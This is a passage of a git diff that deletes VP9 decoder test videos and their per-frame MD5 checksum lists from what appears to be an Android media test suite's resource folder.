-bab0aa23b5854e2a70926046e4618710  vp90-2-01-sharpness-2-352x288-0009.i420
-fec456f38f2a43661e786a8d5f67ed15  vp90-2-01-sharpness-2-352x288-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_01_sharpness_3.vp9 b/tests/tests/media/res/raw/vp90_2_01_sharpness_3.vp9
deleted file mode 100644
index ac4d3c7..0000000
--- a/tests/tests/media/res/raw/vp90_2_01_sharpness_3.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_01_sharpness_3_vp9_md5 b/tests/tests/media/res/raw/vp90_2_01_sharpness_3_vp9_md5
deleted file mode 100644
index 5f66ebd..0000000
--- a/tests/tests/media/res/raw/vp90_2_01_sharpness_3_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-a2e5c820fd9733e18f9349fb658ca281  vp90-2-01-sharpness-3-352x288-0001.i420
-0d487a146393a0b8b84b4be1b371b507  vp90-2-01-sharpness-3-352x288-0002.i420
-68372e191eba620a431cfff226026ac3  vp90-2-01-sharpness-3-352x288-0003.i420
-de7fd274460e36b983fe93acc208d72f  vp90-2-01-sharpness-3-352x288-0004.i420
-afbd36c61bab65b98ff9acf08e215721  vp90-2-01-sharpness-3-352x288-0005.i420
-e1e9fc2ab4e7a187a8d8d84aae48d6b9  vp90-2-01-sharpness-3-352x288-0006.i420
-11d95de6a9cc5e00511e99534779faac  vp90-2-01-sharpness-3-352x288-0007.i420
-cd2f5539fdfc2d8eefe6b6da28c13398  vp90-2-01-sharpness-3-352x288-0008.i420
-a8b3aeed41da7aeb8d5b962ee4a4af93  vp90-2-01-sharpness-3-352x288-0009.i420
-4283670bd1c1c506ef18d3dafca22035  vp90-2-01-sharpness-3-352x288-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_01_sharpness_4.vp9 b/tests/tests/media/res/raw/vp90_2_01_sharpness_4.vp9
deleted file mode 100644
index 4f9ac94..0000000
--- a/tests/tests/media/res/raw/vp90_2_01_sharpness_4.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_01_sharpness_4_vp9_md5 b/tests/tests/media/res/raw/vp90_2_01_sharpness_4_vp9_md5
deleted file mode 100644
index dc3f2c1..0000000
--- a/tests/tests/media/res/raw/vp90_2_01_sharpness_4_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-a2e5c820fd9733e18f9349fb658ca281  vp90-2-01-sharpness-4-352x288-0001.i420
-8bad76c55b5149169d64ce6512521de6  vp90-2-01-sharpness-4-352x288-0002.i420
-c1d986e1f9bf46382e598ba289b9bd7c  vp90-2-01-sharpness-4-352x288-0003.i420
-86c097ac6069c786023d3561dae68bac  vp90-2-01-sharpness-4-352x288-0004.i420
-8c238a2831b8c7c49736b6de6ff76ed8  vp90-2-01-sharpness-4-352x288-0005.i420
-cb5a038ed0a74a317ee72dae93a7ee3e  vp90-2-01-sharpness-4-352x288-0006.i420
-f8fe330a257e3e4e4c39c1c12820a654  vp90-2-01-sharpness-4-352x288-0007.i420
-a73e2fcdcbb9334c0c123f8276a2c881  vp90-2-01-sharpness-4-352x288-0008.i420
-24fccece8ee639e4d0e00e4060e1db0c  vp90-2-01-sharpness-4-352x288-0009.i420
-46d6e9aad69a39c718c5fd1e41e86e6e  vp90-2-01-sharpness-4-352x288-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_01_sharpness_5.vp9 b/tests/tests/media/res/raw/vp90_2_01_sharpness_5.vp9
deleted file mode 100644
index 7f5e528..0000000
--- a/tests/tests/media/res/raw/vp90_2_01_sharpness_5.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_01_sharpness_5_vp9_md5 b/tests/tests/media/res/raw/vp90_2_01_sharpness_5_vp9_md5
deleted file mode 100644
index a545e7c..0000000
--- a/tests/tests/media/res/raw/vp90_2_01_sharpness_5_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-a2e5c820fd9733e18f9349fb658ca281  vp90-2-01-sharpness-5-352x288-0001.i420
-f1ce0a5d57a46c9ff1331804b7b03fdb  vp90-2-01-sharpness-5-352x288-0002.i420
-0364a085b06bee6b980189cf5378eda9  vp90-2-01-sharpness-5-352x288-0003.i420
-4b5358698d734b0ae210909a913d4c1e  vp90-2-01-sharpness-5-352x288-0004.i420
-dc22565aaceee77b15fd8ab3c84bd5e0  vp90-2-01-sharpness-5-352x288-0005.i420
-5f6340b656536292b46ba9a647aeb6e4  vp90-2-01-sharpness-5-352x288-0006.i420
-b7d4bce9a04b2a6caa45801be15e331e  vp90-2-01-sharpness-5-352x288-0007.i420
-534c851cfe59ffc047815ece98d8cede  vp90-2-01-sharpness-5-352x288-0008.i420
-786b0e1564d5c71aabfc2dd528cff4e7  vp90-2-01-sharpness-5-352x288-0009.i420
-cac0366209cf471bb7cc3e64966cbbd4  vp90-2-01-sharpness-5-352x288-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_01_sharpness_6.vp9 b/tests/tests/media/res/raw/vp90_2_01_sharpness_6.vp9
deleted file mode 100644
index 5f8d031..0000000
--- a/tests/tests/media/res/raw/vp90_2_01_sharpness_6.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_01_sharpness_6_vp9_md5 b/tests/tests/media/res/raw/vp90_2_01_sharpness_6_vp9_md5
deleted file mode 100644
index 0c36072..0000000
--- a/tests/tests/media/res/raw/vp90_2_01_sharpness_6_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-a2e5c820fd9733e18f9349fb658ca281  vp90-2-01-sharpness-6-352x288-0001.i420
-45d9ca07ed04210b1ebc743169bc8ec4  vp90-2-01-sharpness-6-352x288-0002.i420
-5b646cc309a711f1d8814f925002d8c4  vp90-2-01-sharpness-6-352x288-0003.i420
-34db8db727fa1ded0a55cc7cf85be249  vp90-2-01-sharpness-6-352x288-0004.i420
-54173d08afe6369b16a9c0c9cc6ce04d  vp90-2-01-sharpness-6-352x288-0005.i420
-76275b0a478cdb3c1fb527ebbce023c3  vp90-2-01-sharpness-6-352x288-0006.i420
-e7643cdf0c42f2af700d8730bfc1a453  vp90-2-01-sharpness-6-352x288-0007.i420
-6e53097e56f680cb658d63100e7736f7  vp90-2-01-sharpness-6-352x288-0008.i420
-1a407c3c8ea1d5245ae68c5ce7de70e1  vp90-2-01-sharpness-6-352x288-0009.i420
-6cbca24912cadf09b20be74f14e359c9  vp90-2-01-sharpness-6-352x288-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_01_sharpness_7.vp9 b/tests/tests/media/res/raw/vp90_2_01_sharpness_7.vp9
deleted file mode 100644
index 325523f..0000000
--- a/tests/tests/media/res/raw/vp90_2_01_sharpness_7.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_01_sharpness_7_vp9_md5 b/tests/tests/media/res/raw/vp90_2_01_sharpness_7_vp9_md5
deleted file mode 100644
index 6c94a52..0000000
--- a/tests/tests/media/res/raw/vp90_2_01_sharpness_7_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-a2e5c820fd9733e18f9349fb658ca281  vp90-2-01-sharpness-7-352x288-0001.i420
-f719d0be18d16a448b4e7da3e2d9bf28  vp90-2-01-sharpness-7-352x288-0002.i420
-83ee8ebc0ca796782a2376a76f2ffc26  vp90-2-01-sharpness-7-352x288-0003.i420
-7cf5afdbc229e1af50a5377cfc23d831  vp90-2-01-sharpness-7-352x288-0004.i420
-44244e896e0362f6376ba5afa563ba8b  vp90-2-01-sharpness-7-352x288-0005.i420
-df5f518d44eb6cb91b2df5a30d27ef82  vp90-2-01-sharpness-7-352x288-0006.i420
-43cc3f151b8337aca7ee659c8abeb783  vp90-2-01-sharpness-7-352x288-0007.i420
-4e89573470d9b97464e10806fc81aa8b  vp90-2-01-sharpness-7-352x288-0008.i420
-62e0ba70f07ece8d85372f0a42e83a9a  vp90-2-01-sharpness-7-352x288-0009.i420
-45ac2928acb11326f6c4a21401f3609c  vp90-2-01-sharpness-7-352x288-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_08x08.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_08x08.vp9
deleted file mode 100644
index 269acbb..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_08x08.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_08x08_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_08x08_vp9_md5
deleted file mode 100644
index c74db82..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_08x08_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-52def242c36123e5a8f5f53d6a971399  vp90-2-02-size-08x08-8x8-0001.i420
-79c93360fbd47179400414bbfee0901c  vp90-2-02-size-08x08-8x8-0002.i420
-c3b1947c79537baa7838905276276a91  vp90-2-02-size-08x08-8x8-0003.i420
-20f35e501bdee0bc63e87b9240265c25  vp90-2-02-size-08x08-8x8-0004.i420
-5e8f1c464bafd54833c51860906b5368  vp90-2-02-size-08x08-8x8-0005.i420
-f57b592600dfc99e634a083278af769a  vp90-2-02-size-08x08-8x8-0006.i420
-7b02191f85590cbad3f148c7b92d6436  vp90-2-02-size-08x08-8x8-0007.i420
-b0a1c9870447a1744f64cd4087ef55ee  vp90-2-02-size-08x08-8x8-0008.i420
-c82712b1ba7a95efb67cbdde0ad708b6  vp90-2-02-size-08x08-8x8-0009.i420
-89f4539f8d7a7b45a91fd2f46335988e  vp90-2-02-size-08x08-8x8-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_08x10.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_08x10.vp9
deleted file mode 100644
index 714467a..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_08x10.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_08x10_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_08x10_vp9_md5
deleted file mode 100644
index c051eb9..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_08x10_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-ea3e0f807304b0eb2d3e329b0124f75c  vp90-2-02-size-08x10-8x10-0001.i420
-8d13cf682d63e7eb13094f55d67fc458  vp90-2-02-size-08x10-8x10-0002.i420
-e729cc6c3684c94a8f6118c618efc3ea  vp90-2-02-size-08x10-8x10-0003.i420
-ac43a0ace8e4112e877c2491ecc14fb5  vp90-2-02-size-08x10-8x10-0004.i420
-53695f90b88d8e8cb838f0faec3238d3  vp90-2-02-size-08x10-8x10-0005.i420
-40afd1c4dfd4a2e3b31631c46d252bcc  vp90-2-02-size-08x10-8x10-0006.i420
-2b656f76f2e84d2f82d9bda2b5be94d3  vp90-2-02-size-08x10-8x10-0007.i420
-b22f004d678d047bc401be5e040cf883  vp90-2-02-size-08x10-8x10-0008.i420
-57c840319abfb9c31013fbde54de3fb0  vp90-2-02-size-08x10-8x10-0009.i420
-0f3dfc156216d7cfb6fd1d8c77dadab9  vp90-2-02-size-08x10-8x10-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_08x16.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_08x16.vp9
deleted file mode 100644
index 815483f..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_08x16.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_08x16_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_08x16_vp9_md5
deleted file mode 100644
index d95f639..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_08x16_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-0553e56a9d89aea496421885aab491f5  vp90-2-02-size-08x16-8x16-0001.i420
-b2a14cf676f7ebf3c50450050f76ad16  vp90-2-02-size-08x16-8x16-0002.i420
-a308d981e09b50571fb0c8ebdcefe505  vp90-2-02-size-08x16-8x16-0003.i420
-d592ec625a0ac0373e82610c3eed9864  vp90-2-02-size-08x16-8x16-0004.i420
-acd19642455e643023b4fb882c3891ba  vp90-2-02-size-08x16-8x16-0005.i420
-5af5390fd8c29b795e0ddf83f3f34284  vp90-2-02-size-08x16-8x16-0006.i420
-473505aa2a76231725cf2107d6c9dbef  vp90-2-02-size-08x16-8x16-0007.i420
-84860db6887e320f2d64f80cf0032e57  vp90-2-02-size-08x16-8x16-0008.i420
-408e9cf60e99ae99d204ff08f3196d1a  vp90-2-02-size-08x16-8x16-0009.i420
-d8af96b79258f9382e911ed38340bdf5  vp90-2-02-size-08x16-8x16-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_08x18.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_08x18.vp9
deleted file mode 100644
index 542ae03..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_08x18.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_08x18_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_08x18_vp9_md5
deleted file mode 100644
index d22d06a..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_08x18_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-4c41f93b1b280b37bc77d7047435eaa4  vp90-2-02-size-08x18-8x18-0001.i420
-c9c80fdba2ebc2b8c3490ae35e34f84f  vp90-2-02-size-08x18-8x18-0002.i420
-089d86acb3263fa5ef4f591a7f44556d  vp90-2-02-size-08x18-8x18-0003.i420
-938fca6d93b83484144f5054e4838a41  vp90-2-02-size-08x18-8x18-0004.i420
-e0592e2ac9f5e09525ce0d3904cadf47  vp90-2-02-size-08x18-8x18-0005.i420
-ea43ff5d1330986e60c08567262ea764  vp90-2-02-size-08x18-8x18-0006.i420
-08b40fe109ee90188f1cba9bbb1b376e  vp90-2-02-size-08x18-8x18-0007.i420
-b067068a2a7e36d5c5b5b405a1e73a18  vp90-2-02-size-08x18-8x18-0008.i420
-9cf2d350296288803434b7451bd2be85  vp90-2-02-size-08x18-8x18-0009.i420
-3c785e21dc228d6396738fbfcb470289  vp90-2-02-size-08x18-8x18-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_08x32.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_08x32.vp9
deleted file mode 100644
index 57dafca..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_08x32.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_08x32_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_08x32_vp9_md5
deleted file mode 100644
index 32a5a7b..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_08x32_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-f92a7777fd69aa2f2914d9a41c4828ba  vp90-2-02-size-08x32-8x32-0001.i420
-62e1cc73487d2249a88a60e35a22d9c7  vp90-2-02-size-08x32-8x32-0002.i420
-aa2619b605cb65eda15fdd99d5775550  vp90-2-02-size-08x32-8x32-0003.i420
-e6f0a491c543b835d0cefe5ca62c3dbe  vp90-2-02-size-08x32-8x32-0004.i420
-361be1a06913c398f09494ca1b2d288f  vp90-2-02-size-08x32-8x32-0005.i420
-0497bf849a973357c0ccb8d43f5bd8b4  vp90-2-02-size-08x32-8x32-0006.i420
-5ac6ac523147c409dd00820622161dd7  vp90-2-02-size-08x32-8x32-0007.i420
-7d07245574a46c524360f09be29a5f19  vp90-2-02-size-08x32-8x32-0008.i420
-fcfa7fbcaf42f81e4e34a4ee5a029ca1  vp90-2-02-size-08x32-8x32-0009.i420
-336e3fe4f15d3d6c82d82b1855dcfeb4  vp90-2-02-size-08x32-8x32-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_08x34.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_08x34.vp9
deleted file mode 100644
index 68ff21f..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_08x34.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_08x34_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_08x34_vp9_md5
deleted file mode 100644
index 626dce9..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_08x34_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-f3f2cd8f157466ff23dace85d77367ce  vp90-2-02-size-08x34-8x34-0001.i420
-639d9b70a14062e95559c12d2b597f91  vp90-2-02-size-08x34-8x34-0002.i420
-b2ee07a6656af583f19593229fa11848  vp90-2-02-size-08x34-8x34-0003.i420
-74e3b5ab4c798a0afe745694e871bbd5  vp90-2-02-size-08x34-8x34-0004.i420
-35f1c30d0f8678f319a392a6c53b5989  vp90-2-02-size-08x34-8x34-0005.i420
-07e2b4c0b92a394bfb11124fe80476f0  vp90-2-02-size-08x34-8x34-0006.i420
-7864bd20dfc5280e5f027d67ea22bf30  vp90-2-02-size-08x34-8x34-0007.i420
-10a2925a7b91dfa9b82de76069388fd4  vp90-2-02-size-08x34-8x34-0008.i420
-79cc7f7a149e8d6e04e065f75e63733c  vp90-2-02-size-08x34-8x34-0009.i420
-6453d10d97532d9bb03f7c06cba9fca0  vp90-2-02-size-08x34-8x34-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_08x64.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_08x64.vp9
deleted file mode 100644
index 337dfb9..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_08x64.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_08x64_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_08x64_vp9_md5
deleted file mode 100644
index f66d0c7..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_08x64_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-764bd02b781a38c621a109c12f3d9393  vp90-2-02-size-08x64-8x64-0001.i420
-79496bd2b9212026af816b3b7a0587d5  vp90-2-02-size-08x64-8x64-0002.i420
-2a3afd47ba3d075033fd94d5c3746c45  vp90-2-02-size-08x64-8x64-0003.i420
-fca00cad8d37a6646337baebadd0ca31  vp90-2-02-size-08x64-8x64-0004.i420
-aca376fb3f8a5ef670ecc2430037262a  vp90-2-02-size-08x64-8x64-0005.i420
-7e6c8d96d1e24855c3e380f1bf2ce02c  vp90-2-02-size-08x64-8x64-0006.i420
-09e051241972969d439f27f324d78490  vp90-2-02-size-08x64-8x64-0007.i420
-2566b2a425caaba41305bf04ff10ea01  vp90-2-02-size-08x64-8x64-0008.i420
-db3995bedee42ada1b4ee63c339daf1b  vp90-2-02-size-08x64-8x64-0009.i420
-b00b8f1bf4fd907f0487738f5b5442c6  vp90-2-02-size-08x64-8x64-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_08x66.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_08x66.vp9
deleted file mode 100644
index 46febdd..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_08x66.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_08x66_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_08x66_vp9_md5
deleted file mode 100644
index 0c4649c..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_08x66_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-df20e8df89449fe50bb610e95a449a95  vp90-2-02-size-08x66-8x66-0001.i420
-18f1a66d463274d1b0489f3a50e86857  vp90-2-02-size-08x66-8x66-0002.i420
-b0cc102875a94c9a92e53826617adbe9  vp90-2-02-size-08x66-8x66-0003.i420
-dfece7c17b4b149283ef51bdc1bd440e  vp90-2-02-size-08x66-8x66-0004.i420
-6e346884f67be259fcabe493109cb63c  vp90-2-02-size-08x66-8x66-0005.i420
-6d282127311eb2d958377490d7cb77f0  vp90-2-02-size-08x66-8x66-0006.i420
-637ac8b14ca5ddbaf7b8910406c3cd08  vp90-2-02-size-08x66-8x66-0007.i420
-e7980f3fcb36969da0d218c4389fa9e8  vp90-2-02-size-08x66-8x66-0008.i420
-730a1c95b9fb165f6e1a2f33a0d25de0  vp90-2-02-size-08x66-8x66-0009.i420
-7bd8424d0783b1c8ad617e17408371bb  vp90-2-02-size-08x66-8x66-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_10x08.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_10x08.vp9
deleted file mode 100644
index a27acd8..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_10x08.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_10x08_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_10x08_vp9_md5
deleted file mode 100644
index 2f8e4be..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_10x08_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-e1e66a88615da98523ef887f1463fc42  vp90-2-02-size-10x08-10x8-0001.i420
-549842fa98c8faf572882d38b0aae390  vp90-2-02-size-10x08-10x8-0002.i420
-17ee85785517705fdc78c6122a4b2548  vp90-2-02-size-10x08-10x8-0003.i420
-1143391d419dac30a6c11f366157c974  vp90-2-02-size-10x08-10x8-0004.i420
-b62d2a962c4c36809ef75a610106715c  vp90-2-02-size-10x08-10x8-0005.i420
-e6f143ca33fbc0e776bb149950cdedff  vp90-2-02-size-10x08-10x8-0006.i420
-01716a1077ec66df00474fd4510d2789  vp90-2-02-size-10x08-10x8-0007.i420
-8cb5b6a865fa2cbb15f0d7736fda88a6  vp90-2-02-size-10x08-10x8-0008.i420
-0fb9fd883e895a540fe1704dddbbab04  vp90-2-02-size-10x08-10x8-0009.i420
-150a3b99aa24ef102c92f87c8adb4386  vp90-2-02-size-10x08-10x8-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_10x10.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_10x10.vp9
deleted file mode 100644
index de3d37c..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_10x10.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_10x10_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_10x10_vp9_md5
deleted file mode 100644
index 13ae622..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_10x10_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-083d638f2e147295d817bb14fff5e4f4  vp90-2-02-size-10x10-10x10-0001.i420
-6dbdc445b6fd6bb99f2025cc2a40977e  vp90-2-02-size-10x10-10x10-0002.i420
-41714089383b181d64fbfa7de5904608  vp90-2-02-size-10x10-10x10-0003.i420
-11fdb8465e1599f7a9227706646d2cba  vp90-2-02-size-10x10-10x10-0004.i420
-907876b3342a10040db0851a936af4e3  vp90-2-02-size-10x10-10x10-0005.i420
-e7b18d47d06b25de205d873d3d941640  vp90-2-02-size-10x10-10x10-0006.i420
-523ce7413c8da7f6a657a9b661f36c44  vp90-2-02-size-10x10-10x10-0007.i420
-23caff863af875c66c903662a3e1e6a1  vp90-2-02-size-10x10-10x10-0008.i420
-ed4cc5557203e5b7a119112ee9ceb00b  vp90-2-02-size-10x10-10x10-0009.i420
-4bb78a996be3188888d1c60e11a08e1b  vp90-2-02-size-10x10-10x10-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_10x16.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_10x16.vp9
deleted file mode 100644
index 843a547..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_10x16.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_10x16_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_10x16_vp9_md5
deleted file mode 100644
index b614000..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_10x16_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-fab07d6209d2413e0a434e1aaaa12154  vp90-2-02-size-10x16-10x16-0001.i420
-f9ffffdb96f98527ba2e553d1265edbb  vp90-2-02-size-10x16-10x16-0002.i420
-56a992264cf7da2b23dd97435e9d0365  vp90-2-02-size-10x16-10x16-0003.i420
-b1db980423d8004bd45a789b02b92a65  vp90-2-02-size-10x16-10x16-0004.i420
-b29496aedc7026566367b634f55ebb28  vp90-2-02-size-10x16-10x16-0005.i420
-2bc9def672da4a2fc17cbd669e2b8081  vp90-2-02-size-10x16-10x16-0006.i420
-8c54721514cdf577a52a8668b9135f13  vp90-2-02-size-10x16-10x16-0007.i420
-2efab81d5e039d82b3bc7b0303b022c4  vp90-2-02-size-10x16-10x16-0008.i420
-bd0f42b91b5d126fd0baec765b1096ad  vp90-2-02-size-10x16-10x16-0009.i420
-c6bfea2735a629167bc6a7a7c76eb7f3  vp90-2-02-size-10x16-10x16-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_10x18.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_10x18.vp9
deleted file mode 100644
index bd9c902..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_10x18.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_10x18_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_10x18_vp9_md5
deleted file mode 100644
index 0639abf..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_10x18_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-0e9182e214aae732d94d007e5fe44888  vp90-2-02-size-10x18-10x18-0001.i420
-2630e2674b5611d68218fddac08815e2  vp90-2-02-size-10x18-10x18-0002.i420
-d5cdd7d6a3de17939f60bb60ef6877da  vp90-2-02-size-10x18-10x18-0003.i420
-29d1961096061029e78963fa82581eca  vp90-2-02-size-10x18-10x18-0004.i420
-5c2629f8aa59757f6b4aafa9f6cbcba1  vp90-2-02-size-10x18-10x18-0005.i420
-1f1a8b61e4fbd6222ddf42e9d0a07032  vp90-2-02-size-10x18-10x18-0006.i420
-cfb9771190ac2d0129907102d6abb63f  vp90-2-02-size-10x18-10x18-0007.i420
-cd98dd856ba573a26a943cbe53221f26  vp90-2-02-size-10x18-10x18-0008.i420
-ca13c161f067c4a4ce22bd58a2aca55b  vp90-2-02-size-10x18-10x18-0009.i420
-de4bd1a474a76a35b796a5fc45b4f893  vp90-2-02-size-10x18-10x18-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_10x32.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_10x32.vp9
deleted file mode 100644
index 4fa4f8b..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_10x32.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_10x32_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_10x32_vp9_md5
deleted file mode 100644
index aca6be0..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_10x32_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-622e6407a051ea08706394d03330ffbf  vp90-2-02-size-10x32-10x32-0001.i420
-1841a0daf7c3ef7be94e01fdb1d3968a  vp90-2-02-size-10x32-10x32-0002.i420
-37790e6cb2415f7add0ac5d3ab354755  vp90-2-02-size-10x32-10x32-0003.i420
-91485880e17c292096a7335566d3648f  vp90-2-02-size-10x32-10x32-0004.i420
-eb6f74983d5fd13d6bd90afbce8836e1  vp90-2-02-size-10x32-10x32-0005.i420
-0069ab5ff7f0d4d601f7d0f9b7a08338  vp90-2-02-size-10x32-10x32-0006.i420
-dbf04254765f7497070387e8c34895c6  vp90-2-02-size-10x32-10x32-0007.i420
-410a9b2d9855b2c29618070994adae96  vp90-2-02-size-10x32-10x32-0008.i420
-7e7f34effd90209f29f1b9ae01488b3b  vp90-2-02-size-10x32-10x32-0009.i420
-471530f74082c01c9b0f1fcf3d240d77  vp90-2-02-size-10x32-10x32-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_10x34.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_10x34.vp9
deleted file mode 100644
index e039c58..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_10x34.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_10x34_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_10x34_vp9_md5
deleted file mode 100644
index 1bd82bf..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_10x34_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-bfeeaf51f972fd0dfe9ee757083cbb54  vp90-2-02-size-10x34-10x34-0001.i420
-10cd4ed6d762004846412d9cd0caa407  vp90-2-02-size-10x34-10x34-0002.i420
-04cca4008d656ed180de88dd2ddb4f21  vp90-2-02-size-10x34-10x34-0003.i420
-ec777e377836895748c06849fa35ed2d  vp90-2-02-size-10x34-10x34-0004.i420
-b55633d0f9239dff3e45a4abce4a35a7  vp90-2-02-size-10x34-10x34-0005.i420
-063c3ab4b4c599942c3a8a5b7bfe5029  vp90-2-02-size-10x34-10x34-0006.i420
-07b920169d32b5fc51d5b9ae16fef5bf  vp90-2-02-size-10x34-10x34-0007.i420
-8d49e727db9d3072b5ab7bab2133d9be  vp90-2-02-size-10x34-10x34-0008.i420
-17441437203447e946a57d2f96966332  vp90-2-02-size-10x34-10x34-0009.i420
-5d3f14af0e5cd81d0c7d2059f13efa5a  vp90-2-02-size-10x34-10x34-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_10x64.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_10x64.vp9
deleted file mode 100644
index 33817f0..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_10x64.vp9
+++ /dev/null
